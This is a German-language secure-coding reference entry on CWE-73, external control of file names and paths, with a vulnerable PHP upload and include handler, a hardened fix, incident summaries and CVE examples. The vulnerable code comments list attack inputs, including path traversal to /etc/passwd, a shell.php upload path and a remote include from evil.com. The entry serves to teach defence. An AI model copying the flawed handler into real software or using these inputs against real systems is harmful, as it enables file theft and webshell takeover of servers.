Externe Kontrolle über Dateinamen oder Pfad

Beschreibung

Externe Kontrolle über Dateinamen oder Pfad ist eine Schwachstelle, die auftritt, wenn Software Benutzereingaben erlaubt, die Namen von Dateien oder Pfade zu kontrollieren oder zu beeinflussen, die in Dateisystemoperationen verwendet werden, ohne ordnungsgemäße Validierung und Bereinigung. Diese Schwachstelle ermöglicht Angreifern, beliebige Dateinamen oder Pfade anzugeben, die dazu führen können, dass Dateien außerhalb des beabsichtigten Bereichs zugegriffen, modifiziert, erstellt oder gelöscht werden. Anders als einfaches Path Traversal, das "../"-Sequenzen verwendet, umfasst diese Schwachstelle jedes Szenario, in dem externe Eingaben Dateispeicherorte bestimmen, einschließlich Datei-Uploads mit benutzergesteuerten Namen, Konfigurationsdateipfade aus Benutzereingaben oder dynamische Datei-Includes basierend auf Anfrageparametern. Die Schwachstelle kann zu Local File Inclusion (LFI), beliebigen Dateischreibvorgängen oder Webshell-Uploads führen.

Risiko

Die Erlaubnis externer Kontrolle über Dateinamen und Pfade schafft schwerwiegende Sicherheitsrisiken über mehrere Angriffsvektoren. Angreifer können Pfade angeben, um sensible Konfigurationsdateien zu lesen, auf Quellcode zuzugreifen oder Anmeldedatenspeicher abzurufen. Wenn Dateischreibvorgänge beteiligt sind, können Angreifer kritische Systemdateien überschreiben, bösartigen Code an ausführbare Speicherorte injizieren oder Webshells hochladen, die vollständige Fernkontrolle über den Server bieten. Archivextraktions-Schwachstellen wie "Zip Slip" nutzen kontrollierte Dateinamen innerhalb von Archiven aus, um Dateien an beliebige Speicherorte zu schreiben. Die Auswirkungen reichen von Informationsoffenlegung bis zur vollständigen Systemkompromittierung, wobei erfolgreiche Webshell-Uploads Angreifern effektiv volle Kontrolle über den betroffenen Server gewähren und potenziell laterale Bewegung innerhalb des Netzwerks ermöglichen.

Lösung

Vertrauen Sie niemals vom Benutzer bereitgestellten Dateinamen oder Pfaden. Generieren Sie Dateinamen serverseitig mit sicheren Zufallsidentifikatoren oder Hashes und speichern Sie den Originalnamen in einer Datenbank, wenn er für Anzeigezwecke benötigt wird. Implementieren Sie strikte Allowlists für erlaubte Dateierweiterungen und validieren Sie MIME-Typen zusammen mit Dateisignaturen (Magic Bytes). Bereinigen Sie alle Benutzereingaben, die in Pfaden verwendet werden müssen, indem Sie gefährliche Zeichen entfernen oder codieren, einschließlich Schrägstriche, Backslashes, Null-Bytes und Path-Traversal-Sequenzen. Verwenden Sie kanonische Pfadauflösung, um zu überprüfen, dass endgültige Pfade innerhalb der beabsichtigten Verzeichnisse bleiben. Für Datei-Uploads speichern Sie Dateien außerhalb des Web-Roots und liefern Sie sie über einen Controller aus, der den Zugriff validiert. Implementieren Sie ordnungsgemäße Zugriffskontrollen und führen Sie Dateioperationen mit minimal notwendigen Privilegien aus.

Häufige Auswirkungen

AuswirkungDetails
VertraulichkeitBereich: Vertraulichkeit

Angreifer können Pfade angeben, um beliebige Dateien zu lesen, einschließlich Konfigurationsdateien, Quellcode, Anmeldedaten und sensible Benutzerdaten durch kontrollierte Dateinamenparameter.
IntegritätBereich: Integrität

Externe Kontrolle über Dateipfade ermöglicht das Schreiben von Dateien an unbeabsichtigte Speicherorte, potenziell das Überschreiben von Konfigurationen, Einschleusen von bösartigem Code oder Hochladen von Webshells.
VerfügbarkeitBereich: Verfügbarkeit

Kritische Dateien können durch kontrollierte Dateipfadparameter überschrieben oder gelöscht werden, was zu Anwendungsausfällen oder Systeminstabilität führt.
ZugriffskontrolleBereich: Zugriffskontrolle, Code-Ausführung

Erfolgreicher Webshell-Upload oder Code-Injection durch kontrollierte Dateinamen kann zu Remote-Code-Ausführung und vollständiger Systemkompromittierung führen.

Beispielcode + Lösungscode

Das folgende Beispiel zeigt einen anfälligen PHP-Datei-Upload-Handler, der benutzergesteuerte Dateinamen verwendet:

Anfälliger Code

<?php
// ANFÄLLIG: Datei-Upload mit benutzergesteuertem Dateinamen

$upload_dir = '/var/www/uploads/';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['userfile'])) {
    // ANFÄLLIG: Verwendung des Originaldateinamens vom Benutzer
    $filename = $_FILES['userfile']['name'];

    // Angreifer kann hochladen: ../../../var/www/html/shell.php
    // Oder: .htaccess
    // Oder: config.php
    $target_path = $upload_dir . $filename;

    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $target_path)) {
        echo "Datei erfolgreich hochgeladen: " . htmlspecialchars($filename);
    } else {
        echo "Upload fehlgeschlagen.";
    }
}

// ANFÄLLIG: Benutzergesteuertes Datei-Include
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    // Angreifer kann verwenden: page=../../../etc/passwd
    // Oder: page=http://evil.com/shell.txt (wenn allow_url_include aktiviert ist)
    include($page . '.php');
}
?>

Dieser Code hat mehrere Schwachstellen: Der Upload-Handler akzeptiert den Originaldateinamen, was Path Traversal und gefährliche Dateitypen ermöglicht, und die Include-Anweisung ermöglicht Local File Inclusion (LFI) oder Remote File Inclusion (RFI) Angriffe.

Korrigierter Code

<?php
$upload_dir = '/var/www/uploads/';
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$allowed_mime_types = [
    'image/jpeg', 'image/png', 'image/gif', 'application/pdf'
];
$max_file_size = 5 * 1024 * 1024; // 5MB

function generate_safe_filename($original_name) {
    // Eindeutigen Dateinamen generieren, Erweiterung beibehalten
    $ext = strtolower(pathinfo($original_name, PATHINFO_EXTENSION));
    $safe_name = bin2hex(random_bytes(16)) . '.' . $ext;
    return $safe_name;
}

function validate_extension($filename, $allowed) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    return in_array($ext, $allowed);
}

function validate_mime_type($filepath, $allowed_mimes) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $mime = $finfo->file($filepath);
    return in_array($mime, $allowed_mimes);
}

function validate_image_content($filepath) {
    // Zusätzliche Validierung für Bilder - prüfen, ob es ein echtes Bild ist
    $image_info = @getimagesize($filepath);
    return $image_info !== false;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['userfile'])) {
    $file = $_FILES['userfile'];

    // Auf Upload-Fehler prüfen
    if ($file['error'] !== UPLOAD_ERR_OK) {
        die('Upload-Fehler');
    }

    // Dateigröße validieren
    if ($file['size'] > $max_file_size || $file['size'] === 0) {
        die('Ungültige Dateigröße');
    }

    // Erweiterung gegen Allowlist validieren
    if (!validate_extension($file['name'], $allowed_extensions)) {
        die('Dateityp nicht erlaubt');
    }

    // MIME-Typ validieren
    if (!validate_mime_type($file['tmp_name'], $allowed_mime_types)) {
        die('Ungültiger Dateiinhaltstyp');
    }

    // Für Bilder überprüfen, ob es tatsächlich ein Bild ist
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif'])) {
        if (!validate_image_content($file['tmp_name'])) {
            die('Ungültige Bilddatei');
        }
    }

    // Sicheren Dateinamen generieren (niemals Original verwenden)
    $safe_filename = generate_safe_filename($file['name']);
    $target_path = $upload_dir . $safe_filename;

    // Überprüfen, dass Ziel im Upload-Verzeichnis liegt
    $real_upload_dir = realpath($upload_dir);
    $real_target = realpath(dirname($target_path)) . '/' . basename($target_path);

    if (strpos($real_target, $real_upload_dir) !== 0) {
        die('Ungültiger Upload-Pfad');
    }

    if (move_uploaded_file($file['tmp_name'], $target_path)) {
        // Originaldateinamen in Datenbank speichern, wenn nötig
        // save_to_db($safe_filename, $file['name'], $_SESSION['user_id']);
        echo "Datei erfolgreich hochgeladen";
    } else {
        die('Upload fehlgeschlagen');
    }
}

// SICHER: Allowlist-basiertes Seiten-Include
$allowed_pages = ['home', 'about', 'contact', 'products'];

if (isset($_GET['page'])) {
    $page = $_GET['page'];

    // Nur vordefinierte Seiten erlauben
    if (in_array($page, $allowed_pages)) {
        $page_file = __DIR__ . '/pages/' . $page . '.php';

        // Zusätzliche Überprüfung, dass Datei im erwarteten Verzeichnis existiert
        if (file_exists($page_file)) {
            include($page_file);
        } else {
            include(__DIR__ . '/pages/404.php');
        }
    } else {
        include(__DIR__ . '/pages/404.php');
    }
}
?>

Der korrigierte Code implementiert mehrere Verteidigungsschichten: Generierung sicherer Zufallsdateinamen serverseitig, Validierung von Erweiterungen und MIME-Typen gegen Allowlists, Überprüfung des Bildinhalts für Bild-Uploads, kanonische Pfadüberprüfung für den Zielspeicherort und Verwendung einer strikten Allowlist für Seiten-Includes anstatt beliebige Eingaben zu akzeptieren.


Ausgenutzt in der Praxis

Zip-Slip-Schwachstelle (Mehrere Organisationen, 2018)

Die von Snyk entdeckte Zip-Slip-Schwachstelle betraf Tausende von Projekten einschließlich HP, Amazon, Apache und Pivotal. Die Schwachstelle nutzte externe Kontrolle über Dateipfade innerhalb von Archiveinträgen aus - wenn Anwendungen ZIP-, TAR- oder andere Archive extrahierten, ohne Dateinamen zu validieren, könnten Angreifer Einträge mit Pfaden wie "../../webapps/ROOT/shell.jsp" einfügen, die Dateien außerhalb des beabsichtigten Extraktionsverzeichnisses schrieben. Dies führte zu beliebigem Überschreiben von Dateien und Remote-Code-Ausführung in Unternehmens-Deployments.

Accellion FTA File Transfer Appliance (Regierung & Unternehmen, 2021)

Angreifer nutzten Schwachstellen in der Accellion File Transfer Appliance aus, einschließlich CVE-2021-27101 (SQL-Injection) kombiniert mit Datei-Upload-Pfadmanipulation, um Webshells zu deployen. Die Angriffe kompromittierten Daten zahlreicher Organisationen einschließlich Shell, Kroger, Morgan Stanley und Regierungsbehörden. Angreifer nutzten die Kontrolle über Dateipfade während des Upload-Prozesses, um Webshells in web-zugänglichen Verzeichnissen zu platzieren, was persistenten Zugriff und massiven Datendiebstahl ermöglichte.

MOVEit Transfer Zero-Day-Kampagne (Global, 2023)

CVE-2023-34362 in Progress MOVEit Transfer ermöglichte Angreifern, Dateipfad-Manipulations-Schwachstellen auszunutzen, um Webshells auf betroffene Server hochzuladen. Die CL0P-Ransomware-Gruppe nutzte diese Schwachstelle in einer massiven Kampagne aus, die über 2.500 Organisationen weltweit betraf, einschließlich Regierungsbehörden, Finanzinstitute und Gesundheitsdienstleister. Der Angriff demonstrierte, wie Dateinamen- und Pfadkontroll-Schwachstellen in Dateitransferlösungen verheerende globale Auswirkungen haben können.


Tools zum Testen/Ausnutzen

  • Burp Suite — umfassende Web-Sicherheitstestplattform mit Datei-Upload-Scanfähigkeiten und Parametermanipulation zum Testen von Dateipfad-Schwachstellen.

  • ZipSlip — Snyks Forschungs- und Proof-of-Concept-Tools zum Testen von Zip-Slip-Schwachstellen in Archivextraktions-Implementierungen.

  • Fuxploider — Open-Source-Datei-Upload-Schwachstellen-Scanner und Ausnutzungstool, das auf verschiedene Upload-Bypass-Techniken und Pfadmanipulation testet.


CVE-Beispiele

  • CVE-2023-34362 — MOVEit Transfer SQL-Injection und Datei-Upload-Schwachstelle ermöglicht Webshell-Deployment und massiven Datendiebstahl.

  • CVE-2021-27101 — Accellion FTA Dateipfad-Manipulation kombiniert mit SQL-Injection für Remote-Code-Ausführung.

  • CVE-2018-1000001 — glibc realpath() Buffer-Underflow durch extern kontrollierte Dateipfade ermöglicht Privilegieneskalation.

  • CVE-2020-17519 — Apache Flink Arbitrary File Read durch Job-Submission-Pfadmanipulation.


Referenzen

  1. MITRE. "CWE-73: External Control of File Name or Path." Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/73.html

  2. OWASP. "Unrestricted File Upload." OWASP Foundation. https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

  3. PortSwigger. "File upload vulnerabilities." Web Security Academy. https://portswigger.net/web-security/file-upload

  4. Snyk. "Zip Slip Vulnerability." Security Research. https://snyk.io/research/zip-slip-vulnerability